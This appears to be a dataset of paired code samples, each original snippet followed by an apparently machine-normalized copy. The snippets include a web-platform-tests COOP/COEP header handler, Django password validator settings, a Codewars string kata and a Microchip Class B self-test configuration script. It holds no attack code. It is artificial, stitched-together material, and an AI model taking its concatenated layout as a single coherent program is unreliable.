media_attributes.append(question)
questions.append({'question': question, 'label': first_children.get('label', question), 'type': first_children.get('type', '')})
def parse_individual_questions(parent_object):
for first_children in parent_object:
if first_children['type'] == 'repeat':
parse_repeat(first_children)
elif first_children['type'] == 'group':
parse_group('', first_children)
else:
question = first_children['name']
if first_children['type'] in ['photo', 'video', 'audio']:
media_attributes.append(question)
questions.append({'question': question, 'label': first_children.get('label', question), 'type': first_children.get('type', '')})
parse_individual_questions(json)
return {'questions': questions, 'media_attributes': media_attributes} |
def main(request, response):
coop = request.GET.first("coop")
coep = request.GET.first("coep")
redirect = request.GET.first("redirect", None)
if coop != "":
response.headers.set("Cross-Origin-Opener-Policy", coop)
if coep != "":
response.headers.set("Cross-Origin-Embedder-Policy", coep)
if 'cache' in request.GET:
response.headers.set('Cache-Control', 'max-age=3600')
if redirect != None:
response.status = 302
response.headers.set("Location", redirect)
return
# This uses an <iframe> as BroadcastChannel is same-origin bound.
response.content = """
<!doctype html>
<meta charset=utf-8>
<script src="/common/get-host-info.sub.js"></script>
<body></body>
<script>
const params = new URL(location).searchParams;
const navHistory = params.get("navHistory");
const avoidBackAndForth = params.get("avoidBackAndForth");
const navigate = params.get("navigate");
// Need to wait until the page is fully loaded before navigating
// so that it creates a history entry properly.
const fullyLoaded = new Promise((resolve, reject) => {
addEventListener('load', () => {
requestAnimationFrame(() => {
requestAnimationFrame(() => {
resolve();
});
});
});
});
if (navHistory !== null) {
fullyLoaded.then(() => {
history.go(Number(navHistory));
});
} else if (navigate !== null && (history.length === 1 || !avoidBackAndForth)) {
fullyLoaded.then(() => {
self.location = navigate;
});
} else {
let openerDOMAccessAllowed = false;
try {
openerDOMAccessAllowed = !!self.opener.document.URL;
} catch(ex) {
}
// Handle the response from the frame, closing the popup once the
// test completes.
addEventListener("message", event => {
if (event.data == "close") {
close();
}
});
iframe = document.createElement("iframe");
iframe.onload = () => {
const payload = { name: self.name, opener: !!self.opener, openerDOMAccess: openerDOMAccessAllowed };
iframe.contentWindow.postMessage(payload, "*");
};
const channelName = new URL(location).searchParams.get("channel");
iframe.src = `${get_host_info().HTTPS_ORIGIN}/html/cross-origin-opener-policy/resources/postback.html?channel=${channelName}`;
document.body.appendChild(iframe);
}
</script>
"""
| def main(request, response):
coop = request.GET.first('coop')
coep = request.GET.first('coep')
redirect = request.GET.first('redirect', None)
if coop != '':
response.headers.set('Cross-Origin-Opener-Policy', coop)
if coep != '':
response.headers.set('Cross-Origin-Embedder-Policy', coep)
if 'cache' in request.GET:
response.headers.set('Cache-Control', 'max-age=3600')
if redirect != None:
response.status = 302
response.headers.set('Location', redirect)
return
response.content = '\n<!doctype html>\n<meta charset=utf-8>\n<script src="/common/get-host-info.sub.js"></script>\n<body></body>\n<script>\n const params = new URL(location).searchParams;\n const navHistory = params.get("navHistory");\n const avoidBackAndForth = params.get("avoidBackAndForth");\n const navigate = params.get("navigate");\n // Need to wait until the page is fully loaded before navigating\n // so that it creates a history entry properly.\n const fullyLoaded = new Promise((resolve, reject) => {\n addEventListener(\'load\', () => {\n requestAnimationFrame(() => {\n requestAnimationFrame(() => {\n resolve();\n });\n });\n });\n });\n if (navHistory !== null) {\n fullyLoaded.then(() => {\n history.go(Number(navHistory));\n });\n } else if (navigate !== null && (history.length === 1 || !avoidBackAndForth)) {\n fullyLoaded.then(() => {\n self.location = navigate;\n });\n } else {\n let openerDOMAccessAllowed = false;\n try {\n openerDOMAccessAllowed = !!self.opener.document.URL;\n } catch(ex) {\n }\n // Handle the response from the frame, closing the popup once the\n // test completes.\n addEventListener("message", event => {\n if (event.data == "close") {\n close();\n }\n });\n iframe = document.createElement("iframe");\n iframe.onload = () => {\n const payload = { name: self.name, opener: !!self.opener, openerDOMAccess: openerDOMAccessAllowed };\n iframe.contentWindow.postMessage(payload, "*");\n };\n const channelName = new URL(location).searchParams.get("channel");\n iframe.src = `${get_host_info().HTTPS_ORIGIN}/html/cross-origin-opener-policy/resources/postback.html?channel=${channelName}`;\n document.body.appendChild(iframe);\n }\n</script>\n' |
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
| auth_password_validators = [{'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator'}, {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator'}, {'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'}, {'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'}] |
"""
https://www.codewars.com/kata/57faefc42b531482d5000123
Given a string,
remove all exclamation marks from the string, except for a ! if it exists at the very end.
remove("Hi!") == "Hi!"
remove("Hi!!!") == "Hi!!!"
remove("!Hi") == "Hi"
remove("!Hi!") == "Hi!"
remove("Hi! Hi!") == "Hi Hi!"
remove("Hi") == "Hi"
"""
def remove(s):
output = ''
allowed = True
for i in range(len(s)-1, -1, -1):
if s[i] == '!' and allowed:
output = s[i] + output
elif s[i] != '!':
output = s[i] + output
allowed = False
return(output)
print(remove("Hi!"))
print(remove("Hi"))
print(remove("!Hi"))
print(remove("Hi! Hi!"))
print(remove("Hi!!!"))
# Another person's solution:
def remove2(s):
return s.replace('!', '') + '!'*(len(s) - len(s.rstrip('!')))
print(remove2("Hi!"))
print(remove2("Hi"))
print(remove2("!Hi"))
print(remove2("Hi! Hi!"))
print(remove2("Hi!!!"))
| """
https://www.codewars.com/kata/57faefc42b531482d5000123
Given a string,
remove all exclamation marks from the string, except for a ! if it exists at the very end.
remove("Hi!") == "Hi!"
remove("Hi!!!") == "Hi!!!"
remove("!Hi") == "Hi"
remove("!Hi!") == "Hi!"
remove("Hi! Hi!") == "Hi Hi!"
remove("Hi") == "Hi"
"""
def remove(s):
output = ''
allowed = True
for i in range(len(s) - 1, -1, -1):
if s[i] == '!' and allowed:
output = s[i] + output
elif s[i] != '!':
output = s[i] + output
allowed = False
return output
print(remove('Hi!'))
print(remove('Hi'))
print(remove('!Hi'))
print(remove('Hi! Hi!'))
print(remove('Hi!!!'))
def remove2(s):
return s.replace('!', '') + '!' * (len(s) - len(s.rstrip('!')))
print(remove2('Hi!'))
print(remove2('Hi'))
print(remove2('!Hi'))
print(remove2('Hi! Hi!'))
print(remove2('Hi!!!')) |
# coding: utf-8
"""*****************************************************************************
* Copyright (C) 2021 Microchip Technology Inc. and its subsidiaries.
*
* Subject to your compliance with these terms, you may use Microchip software
* and any derivatives exclusively with Microchip products. It is your
* responsibility to comply with third party license terms applicable to your
* use of third party software (including open source software) that may
* accompany Microchip software.
*
* THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER
* EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY IMPLIED
* WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A
* PARTICULAR PURPOSE.
*
* IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE,
* INCIDENTAL OR CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND
* WHATSOEVER RELATED TO THE SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS
* BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE
* FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN
* ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY,
* THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE.
*****************************************************************************"""
################################################################################
#### Call-backs ####
################################################################################
#Update Symbol Visibility
def setClassB_SymbolVisibility(MySymbol, event):
MySymbol.setVisible(event["value"])
################################################################################
#### Component ####
################################################################################
def instantiateComponent(classBComponent):
configName = Variables.get("__CONFIGURATION_NAME")
classBMenu = classBComponent.createMenuSymbol("CLASSB_MENU", None)
classBMenu.setLabel("Class B Startup Test Configuration")
execfile(Module.getPath() +"/config/interface.py")
print("Test Module: Harmony Class B Library")
#Device params
#classBFlashNode = ATDF.getNode("/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name=\"FLASH\"]")
classBFlashNode = ATDF.getNode("/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name=\"code\"]")
if classBFlashNode != None:
#Flash size
classB_FLASH_SIZE = classBComponent.createIntegerSymbol("CLASSB_FLASH_SIZE", None)
classB_FLASH_SIZE.setVisible(False)
classB_FLASH_SIZE.setDefaultValue(int(classBFlashNode.getAttribute("size"), 16))
#classB_FLASH_SIZE.setDefaultValue(0)
print("Test Module: Harmony Class B Library")
classBSRAMNode = ATDF.getNode("/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name=\"kseg0_data_mem\"]")
#classBSRAMNode = ATDF.getNode("/avr-tools-device-file/devices/device/address-spaces/address-space/memory-segment@[name=\"HSRAM\"]")
print("Test Module: Harmony Class B Library")
if classBSRAMNode != None:
#SRAM size
classB_SRAM_SIZE = classBComponent.createIntegerSymbol("CLASSB_SRAM_SIZE", None)
classB_SRAM_SIZE.setVisible(False)
classB_SRAM_SIZE.setDefaultValue(int(classBSRAMNode.getAttribute("size"), 16))
#classB_SRAM_SIZE.setDefaultValue(0)
#SRAM address
classB_SRAM_ADDR = classBComponent.createHexSymbol("CLASSB_SRAM_START_ADDRESS", None)
classB_SRAM_ADDR.setVisible(False)
classB_SRAM_ADDR.setDefaultValue(int(classBSRAMNode.getAttribute("start"), 16) + (0xA0000000))
#classB_SRAM_SIZE.setDefaultValue(0)
#SRAM address MSB 24 bits
classB_SRAM_START_MSB = classBComponent.createHexSymbol("CLASSB_SRAM_START_MSB", None)
classB_SRAM_START_MSB.setVisible(False)
#classB_SRAM_START_MSB.setDefaultValue(int(classBSRAMNode.getAttribute("start"), 16) >> 8)
classB_SRAM_START_MSB.setDefaultValue((int(classBSRAMNode.getAttribute("start"), 16) >> 8) + (0xA0000000 >> 8))
#classB_SRAM_SIZE.setDefaultValue(0)
print("Test Module: Harmony Class B Library")
# Insert CPU test
classB_UseCPUTest = classBComponent.createBooleanSymbol("CLASSB_CPU_TEST_OPT", classBMenu)
classB_UseCPUTest.setLabel("Test CPU Registers?")
classB_UseCPUTest.setVisible(True)
classB_UseCPUTest.setDefaultValue(False)
# Insert SRAM test
classB_UseSRAMTest = classBComponent.createBooleanSymbol("CLASSB_SRAM_TEST_OPT", classBMenu)
classB_UseSRAMTest.setLabel("Test SRAM?")
classB_UseSRAMTest.setVisible(True)
classB_UseSRAMTest.setDefaultValue(False)
# Select March algorithm for SRAM test
classb_Ram_marchAlgo = classBComponent.createKeyValueSetSymbol("CLASSB_SRAM_MARCH_ALGORITHM", classB_UseSRAMTest)
classb_Ram_marchAlgo.setLabel("Select RAM March algorithm")
classb_Ram_marchAlgo.addKey("CLASSB_SRAM_MARCH_C", "0", "March C")
classb_Ram_marchAlgo.addKey("CLASSB_SRAM_MARCH_C_MINUS", "1", "March C minus")
classb_Ram_marchAlgo.addKey("CLASSB_SRAM_MARCH_B", "2", "March B")
classb_Ram_marchAlgo.setOutputMode("Key")
classb_Ram_marchAlgo.setDisplayMode("Description")
classb_Ram_marchAlgo.setDescription("Selects the SRAM March algorithm to be used during startup")
classb_Ram_marchAlgo.setDefaultValue(0)
classb_Ram_marchAlgo.setVisible(False)
#This should be enabled based on the above configuration
classb_Ram_marchAlgo.setDependencies(setClassB_SymbolVisibility, ["CLASSB_SRAM_TEST_OPT"])
# Size of the area to be tested
classb_Ram_marchSize = classBComponent.createIntegerSymbol("CLASSB_SRAM_MARCH_SIZE", classB_UseSRAMTest)
classb_Ram_marchSize.setLabel("Size of the tested area (bytes)")
classb_Ram_marchSize.setDefaultValue(classB_SRAM_SIZE.getValue() / 4)
classb_Ram_marchSize.setVisible(False)
classb_Ram_marchSize.setMin(0)
# 1024 bytes are reserved for the use of Class B library
classb_Ram_marchSize.setMax(classB_SRAM_SIZE.getValue() - 1024)
classb_Ram_marchSize.setDescription("Size of the SRAM area to be tested starting from 0x20000400")
classb_Ram_marchSize.setDependencies(setClassB_SymbolVisibility, ["CLASSB_SRAM_TEST_OPT"])
print("Test Module: Harmony Class B Library")
# CRC-32 checksum availability
classB_FlashCRC_Option = classBComponent.createBooleanSymbol("CLASSB_FLASH_CRC_CONF", classBMenu)
classB_FlashCRC_Option.setLabel("Test Internal Flash?")
classB_FlashCRC_Option.setVisible(True)
classB_FlashCRC_Option.setDefaultValue(False)
classB_FlashCRC_Option.setDescription("Enable this option if the CRC-32 checksum of the application image is stored at a specific address in the Flash")
# Address at which CRC-32 of the application image is stored
classB_CRC_address = classBComponent.createHexSymbol("CLASSB_FLASHCRC_ADDR", classB_FlashCRC_Option)
classB_CRC_address.setLabel("Flash CRC location")
classB_CRC_address.setDefaultValue(0xFE000)
classB_CRC_address.setMin(0)
classB_CRC_address.setMax(classB_FLASH_SIZE.getValue() - 4)
classB_CRC_address.setVisible(False)
#This should be enabled based on the above configuration
classB_CRC_address.setDependencies(setClassB_SymbolVisibility, ["CLASSB_FLASH_CRC_CONF"])
# Insert Clock test
classB_UseClockTest = classBComponent.createBooleanSymbol("CLASSB_CLOCK_TEST_OPT", classBMenu)
classB_UseClockTest.setLabel("Test CPU Clock?")
classB_UseClockTest.setVisible(True)
# Acceptable CPU clock frequency error at startup
classb_ClockTestPercentage = classBComponent.createKeyValueSetSymbol("CLASSB_CLOCK_TEST_PERCENT", classB_UseClockTest)
classb_ClockTestPercentage.setLabel("Permitted CPU clock error at startup")
classb_ClockTestPercentage.addKey("CLASSB_CLOCK_5PERCENT", "5", "+-5 %")
classb_ClockTestPercentage.addKey("CLASSB_CLOCK_10PERCENT", "10", "+-10 %")
classb_ClockTestPercentage.addKey("CLASSB_CLOCK_15PERCENT", "15", "+-15 %")
classb_ClockTestPercentage.setOutputMode("Value")
classb_ClockTestPercentage.setDisplayMode("Description")
classb_ClockTestPercentage.setDescription("Selects the permitted CPU clock error at startup")
classb_ClockTestPercentage.setDefaultValue(0)
classb_ClockTestPercentage.setVisible(False)
classb_ClockTestPercentage.setDependencies(setClassB_SymbolVisibility, ["CLASSB_CLOCK_TEST_OPT"])
# Clock test duration
classb_ClockTestDuration = classBComponent.createIntegerSymbol("CLASSB_CLOCK_TEST_DURATION", classB_UseClockTest)
classb_ClockTestDuration.setLabel("Clock Test Duration (ms)")
classb_ClockTestDuration.setDefaultValue(5)
classb_ClockTestDuration.setVisible(False)
classb_ClockTestDuration.setMin(5)
classb_ClockTestDuration.setMax(20)
classb_ClockTestDuration.setDependencies(setClassB_SymbolVisibility, ["CLASSB_CLOCK_TEST_OPT"])
# Insert Interrupt test
classB_UseInterTest = classBComponent.createBooleanSymbol("CLASSB_INTERRUPT_TEST_OPT", classBMenu)
classB_UseInterTest.setLabel("Test Interrupts?")
classB_UseInterTest.setVisible(True)
classB_UseInterTest.setDefaultValue(False)
classB_UseInterTest.setDescription("This self-test check interrupts operation with the help of NVIC, RTC and TC0")
#symbol_debug = classBComponent.createCommentSymbol("CLASSB_DEBUG_MENU", None)
#symbol_debug.setLabel("DEBUG")
#symbol_debug.setVisible(True)
#symbol_APPDEBUG_enabling = classBComponent.createBooleanSymbol("CLASSB_DEBUG_ENABLE", symbol_debug)
#symbol_APPDEBUG_enabling.setLabel("Enable Debug parameters")
#symbol_APPDEBUG_enabling.setVisible(True)
#symbol_APPDEBUG_enabling.setDefaultValue(False)
#symbol_APPDEBUG_enabling.setDescription("Enable debug parameters")
classBReadOnlyParams = classBComponent.createMenuSymbol("CLASSB_ADDR_MENU", None)
classBReadOnlyParams.setLabel("Build parameters (read-only) used by the library")
# Read-only symbol for start of non-reserved SRAM
classb_AppRam_start = classBComponent.createHexSymbol("CLASSB_SRAM_APP_START", classBReadOnlyParams)
classb_AppRam_start.setLabel("Start address of non-reserved SRAM")
classb_AppRam_start.setDefaultValue(0xA0000400)
classb_AppRam_start.setReadOnly(True)
classb_AppRam_start.setMin(0xA0000400)
classb_AppRam_start.setMax(0xA0000400)
classb_AppRam_start.setDescription("Initial 1kB of SRAM is used by the Class B library")
#SRAM last word address
classB_SRAM_lastWordAddr = classBComponent.createHexSymbol("CLASSB_SRAM_LASTWORD_ADDR", classBReadOnlyParams)
classB_SRAM_lastWordAddr.setLabel("Address of the last word in SRAM")
classB_SRAM_lastWordAddr.setReadOnly(True)
classB_SRAM_lastWordAddr.setDefaultValue((0xA0000000 + classB_SRAM_SIZE.getValue() - 4))
classB_SRAM_lastWordAddr.setMin((0xA0000000 + classB_SRAM_SIZE.getValue() - 4))
classB_SRAM_lastWordAddr.setMax((0xA0000000 + classB_SRAM_SIZE.getValue() - 4))
sram_top = hex(classB_SRAM_lastWordAddr.getValue() + 4)
classB_SRAM_lastWordAddr.setDescription("The SRAM memory address range is 0x00000000 to " + str(sram_top))
# Read-only symbol for CRC-32 polynomial
classb_FlashCRCPoly = classBComponent.createHexSymbol("CLASSB_FLASH_CRC32_POLY", classBReadOnlyParams)
classb_FlashCRCPoly.setLabel("CRC-32 polynomial for Flash test")
classb_FlashCRCPoly.setDefaultValue(0xEDB88320)
classb_FlashCRCPoly.setReadOnly(True)
classb_FlashCRCPoly.setMin(0xEDB88320)
classb_FlashCRCPoly.setMax(0xEDB88320)
classb_FlashCRCPoly.setDescription("The CRC-32 polynomial used for Flash self-test is " + str(hex(classb_FlashCRCPoly.getValue())))
# Read-only symbol for max SysTick count
classb_SysTickMaxCount = classBComponent.createHexSymbol("CLASSB_SYSTICK_MAXCOUNT", classBReadOnlyParams)
classb_SysTickMaxCount.setLabel("Maximum SysTick count")
classb_SysTickMaxCount.setDefaultValue(0xFFFFFF)
classb_SysTickMaxCount.setReadOnly(True)
classb_SysTickMaxCount.setMin(0xFFFFFF)
classb_SysTickMaxCount.setMax(0xFFFFFF)
classb_SysTickMaxCount.setDescription("The SysTick is a 24-bit counter with max count value " + str(hex(classb_SysTickMaxCount.getValue())))
# Read-only symbol for max CPU clock frequency
classb_CPU_MaxClock = classBComponent.createIntegerSymbol("CLASSB_CPU_MAX_CLOCK", classBReadOnlyParams)
classb_CPU_MaxClock.setLabel("Maximum CPU clock frequency")
classb_CPU_MaxClock.setDefaultValue(200000000)
classb_CPU_MaxClock.setReadOnly(True)
classb_CPU_MaxClock.setMin(200000000)
classb_CPU_MaxClock.setMax(200000000)
classb_CPU_MaxClock.setDescription("The self-test for CPU clock frequency assumes that the maximum CPU clock frequency is " + str(classb_CPU_MaxClock.getValue()) + "Hz")
# Read-only symbol for expected RTC clock frequency
classb_RTC_Clock = classBComponent.createIntegerSymbol("CLASSB_TMR1_EXPECTED_CLOCK", classBReadOnlyParams)
classb_RTC_Clock.setLabel("Expected RTC clock frequency")
classb_RTC_Clock.setDefaultValue(32768)
classb_RTC_Clock.setReadOnly(True)
classb_RTC_Clock.setMin(32768)
classb_RTC_Clock.setMax(32768)
classb_RTC_Clock.setDescription("The self-test for CPU clock frequency expects the RTC clock frequency to be " + str(classb_RTC_Clock.getValue()) + "Hz")
# Read-only symbol for maximum configurable accuracy for CPU clock self-test
classb_MaxAccuracy = classBComponent.createIntegerSymbol("CLASSB_CPU_CLOCK_TEST_ACCUR", classBReadOnlyParams)
classb_MaxAccuracy.setLabel("Maximum accuracy for CPU clock test")
classb_MaxAccuracy.setDefaultValue(5)
classb_MaxAccuracy.setReadOnly(True)
classb_MaxAccuracy.setMin(5)
classb_MaxAccuracy.setMax(5)
classb_MaxAccuracy.setDescription("Error percentage selected for CPU clock frequency test must be " + str(classb_MaxAccuracy.getValue()) + "% or higher")
############################################################################
#### Code Generation ####
############################################################################
# Main Header File
classBHeaderFile = classBComponent.createFileSymbol("CLASSB_HEADER", None)
classBHeaderFile.setSourcePath("/templates/pic32mzw1_wfi32e01/classb.h.ftl")
classBHeaderFile.setOutputName("classb.h")
classBHeaderFile.setDestPath("/classb")
classBHeaderFile.setProjectPath("config/" + configName + "/classb")
classBHeaderFile.setType("HEADER")
classBHeaderFile.setMarkup(True)
# Main Source File
classBSourceFile = classBComponent.createFileSymbol("CLASSB_SOURCE", None)
classBSourceFile.setSourcePath("/templates/pic32mzw1_wfi32e01/classb.c.ftl")
classBSourceFile.setOutputName("classb.c")
classBSourceFile.setDestPath("/classb")
classBSourceFile.setProjectPath("config/" + configName + "/classb")
classBSourceFile.setType("SOURCE")
classBSourceFile.setMarkup(True)
# Header File common for all tests
classBCommHeaderFile = classBComponent.createFileSymbol("CLASSB_COMMON_HEADER", None)
classBCommHeaderFile.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_common.h.ftl")
classBCommHeaderFile.setOutputName("classb_common.h")
classBCommHeaderFile.setDestPath("/classb")
classBCommHeaderFile.setProjectPath("config/" + configName +"/classb")
classBCommHeaderFile.setType("HEADER")
classBCommHeaderFile.setMarkup(True)
# Source File for result handling
classBSourceResultMgmt = classBComponent.createFileSymbol("CLASSB_SOURCE_RESULT_MGMT_S", None)
classBSourceResultMgmt.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_result_management.S.ftl")
classBSourceResultMgmt.setOutputName("classb_result_management.S")
classBSourceResultMgmt.setDestPath("/classb")
classBSourceResultMgmt.setProjectPath("config/" + configName + "/classb")
classBSourceResultMgmt.setType("SOURCE")
classBSourceResultMgmt.setMarkup(True)
# Source File for CPU test
classBSourceCpuTestAsm = classBComponent.createFileSymbol("CLASSB_SOURCE_CPUTEST_S", None)
classBSourceCpuTestAsm.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test_asm.S.ftl")
classBSourceCpuTestAsm.setOutputName("classb_cpu_reg_test_asm.S")
classBSourceCpuTestAsm.setDestPath("/classb")
classBSourceCpuTestAsm.setProjectPath("config/" + configName + "/classb")
classBSourceCpuTestAsm.setType("SOURCE")
classBSourceCpuTestAsm.setMarkup(True)
# Source File for CPU test
classBSourceCpuTestAsm = classBComponent.createFileSymbol("CLASSB_SOURCE_CPUTEST", None)
classBSourceCpuTestAsm.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test.c.ftl")
classBSourceCpuTestAsm.setOutputName("classb_cpu_reg_test.c")
classBSourceCpuTestAsm.setDestPath("/classb")
classBSourceCpuTestAsm.setProjectPath("config/" + configName + "/classb")
classBSourceCpuTestAsm.setType("SOURCE")
classBSourceCpuTestAsm.setMarkup(True)
# Header File for CPU test
classBHeaderCpuTestAsm = classBComponent.createFileSymbol("CLASSB_HEADER_CPU_TEST", None)
classBHeaderCpuTestAsm.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_cpu_reg_test.h.ftl")
classBHeaderCpuTestAsm.setOutputName("classb_cpu_reg_test.h")
classBHeaderCpuTestAsm.setDestPath("/classb")
classBHeaderCpuTestAsm.setProjectPath("config/" + configName +"/classb")
classBHeaderCpuTestAsm.setType("HEADER")
classBHeaderCpuTestAsm.setMarkup(True)
# Source File for CPU PC test
classBSourceCpuPCTest = classBComponent.createFileSymbol("CLASSB_SOURCE_CPUPC_TEST", None)
classBSourceCpuPCTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_cpu_pc_test.c.ftl")
classBSourceCpuPCTest.setOutputName("classb_cpu_pc_test.c")
classBSourceCpuPCTest.setDestPath("/classb")
classBSourceCpuPCTest.setProjectPath("config/" + configName + "/classb")
classBSourceCpuPCTest.setType("SOURCE")
classBSourceCpuPCTest.setMarkup(True)
# Source File for SRAM test
classBSourceSRAMTest = classBComponent.createFileSymbol("CLASSB_SOURCE_SRAM_TEST", None)
classBSourceSRAMTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_sram_test.c.ftl")
classBSourceSRAMTest.setOutputName("classb_sram_test.c")
classBSourceSRAMTest.setDestPath("/classb")
classBSourceSRAMTest.setProjectPath("config/" + configName + "/classb")
classBSourceSRAMTest.setType("SOURCE")
classBSourceSRAMTest.setMarkup(True)
# Header File for SRAM test
classBHeaderSRAMTest = classBComponent.createFileSymbol("CLASSB_HEADER_SRAM_TEST", None)
classBHeaderSRAMTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_sram_test.h.ftl")
classBHeaderSRAMTest.setOutputName("classb_sram_test.h")
classBHeaderSRAMTest.setDestPath("/classb")
classBHeaderSRAMTest.setProjectPath("config/" + configName +"/classb")
classBHeaderSRAMTest.setType("HEADER")
classBHeaderSRAMTest.setMarkup(True)
# Source File for Flash test
classBSourceFLASHTest = classBComponent.createFileSymbol("CLASSB_SOURCE_FLASH_TEST", None)
classBSourceFLASHTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_flash_test.c.ftl")
classBSourceFLASHTest.setOutputName("classb_flash_test.c")
classBSourceFLASHTest.setDestPath("/classb")
classBSourceFLASHTest.setProjectPath("config/" + configName + "/classb")
classBSourceFLASHTest.setType("SOURCE")
classBSourceFLASHTest.setMarkup(True)
# Header File for Flash test
classBHeaderFLASHTest = classBComponent.createFileSymbol("CLASSB_HEADER_FLASH_TEST", None)
classBHeaderFLASHTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_flash_test.h.ftl")
classBHeaderFLASHTest.setOutputName("classb_flash_test.h")
classBHeaderFLASHTest.setDestPath("/classb")
classBHeaderFLASHTest.setProjectPath("config/" + configName +"/classb")
classBHeaderFLASHTest.setType("HEADER")
classBHeaderFLASHTest.setMarkup(True)
# Source File for Clock test
classBSourceClockTest = classBComponent.createFileSymbol("CLASSB_SOURCE_CLOCK_TEST", None)
classBSourceClockTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_clock_test.c.ftl")
classBSourceClockTest.setOutputName("classb_clock_test.c")
classBSourceClockTest.setDestPath("/classb")
classBSourceClockTest.setProjectPath("config/" + configName + "/classb")
classBSourceClockTest.setType("SOURCE")
classBSourceClockTest.setMarkup(True)
# Header File for Clock test
classBHeaderClockTest = classBComponent.createFileSymbol("CLASSB_HEADER_CLOCK_TEST", None)
classBHeaderClockTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_clock_test.h.ftl")
classBHeaderClockTest.setOutputName("classb_clock_test.h")
classBHeaderClockTest.setDestPath("/classb")
classBHeaderClockTest.setProjectPath("config/" + configName +"/classb")
classBHeaderClockTest.setType("HEADER")
classBSourceClockTest.setMarkup(True)
# Source File for Interrupt test
classBSourceInterruptTest = classBComponent.createFileSymbol("CLASSB_SOURCE_INTERRUPT_TEST", None)
classBSourceInterruptTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_interrupt_test.c.ftl")
classBSourceInterruptTest.setOutputName("classb_interrupt_test.c")
classBSourceInterruptTest.setDestPath("/classb")
classBSourceInterruptTest.setProjectPath("config/" + configName + "/classb")
classBSourceInterruptTest.setType("SOURCE")
classBSourceInterruptTest.setMarkup(True)
# Header File for Interrupt test
classBHeaderInterruptTest = classBComponent.createFileSymbol("CLASSB_HEADER_INTERRUPT_TEST", None)
classBHeaderInterruptTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_interrupt_test.h.ftl")
classBHeaderInterruptTest.setOutputName("classb_interrupt_test.h")
classBHeaderInterruptTest.setDestPath("/classb")
classBHeaderInterruptTest.setProjectPath("config/" + configName +"/classb")
classBHeaderInterruptTest.setType("HEADER")
classBHeaderInterruptTest.setMarkup(True)
# Source File for IO pin test
classBSourceIOpinTest = classBComponent.createFileSymbol("CLASSB_SOURCE_IOPIN_TEST", None)
classBSourceIOpinTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_io_pin_test.c.ftl")
classBSourceIOpinTest.setOutputName("classb_io_pin_test.c")
classBSourceIOpinTest.setDestPath("/classb")
classBSourceIOpinTest.setProjectPath("config/" + configName + "/classb")
classBSourceIOpinTest.setType("SOURCE")
classBSourceIOpinTest.setMarkup(True)
# Header File for IO pin test
classBHeaderIOpinTest = classBComponent.createFileSymbol("CLASSB_HEADER_IOPIN_TEST", None)
classBHeaderIOpinTest.setSourcePath("/templates/pic32mzw1_wfi32e01/classb_io_pin_test.h.ftl")
classBHeaderIOpinTest.setOutputName("classb_io_pin_test.h")
classBHeaderIOpinTest.setDestPath("/classb")
classBHeaderIOpinTest.setProjectPath("config/" + configName +"/classb")
classBHeaderIOpinTest.setType("HEADER")
classBHeaderIOpinTest.setMarkup(True)
# System Definition
classBSystemDefFile = classBComponent.createFileSymbol("CLASSB_SYS_DEF", None)
classBSystemDefFile.setType("STRING")
classBSystemDefFile.setOutputName("core.LIST_SYSTEM_DEFINITIONS_H_INCLUDES")
classBSystemDefFile.setSourcePath("/templates/system/definitions.h.ftl")
classBSystemDefFile.setMarkup(True)
# Linker option to reserve 1kB of SRAM
classB_xc32ld_reserve_sram = classBComponent.createSettingSymbol("CLASSB_XC32LD_RESERVE_SRAM", None)
classB_xc32ld_reserve_sram.setCategory("C32-LD")
classB_xc32ld_reserve_sram.setKey("oXC32ld-extra-opts")
classB_xc32ld_reserve_sram.setAppend(True, ";")
classB_xc32ld_reserve_sram.setValue("-mreserve=data@0x00000000:0x00000400")
| """*****************************************************************************
* Copyright (C) 2021 Microchip Technology Inc. and its subsidiaries.
*
* Subject to your compliance with these terms, you may use Microchip software
* and any derivatives exclusively with Microchip products. It is your
* responsibility to comply with third party license terms applicable to your
* use of third party software (including open source software) that may
* accompany Microchip software.
*
* THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER
* EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY IMPLIED
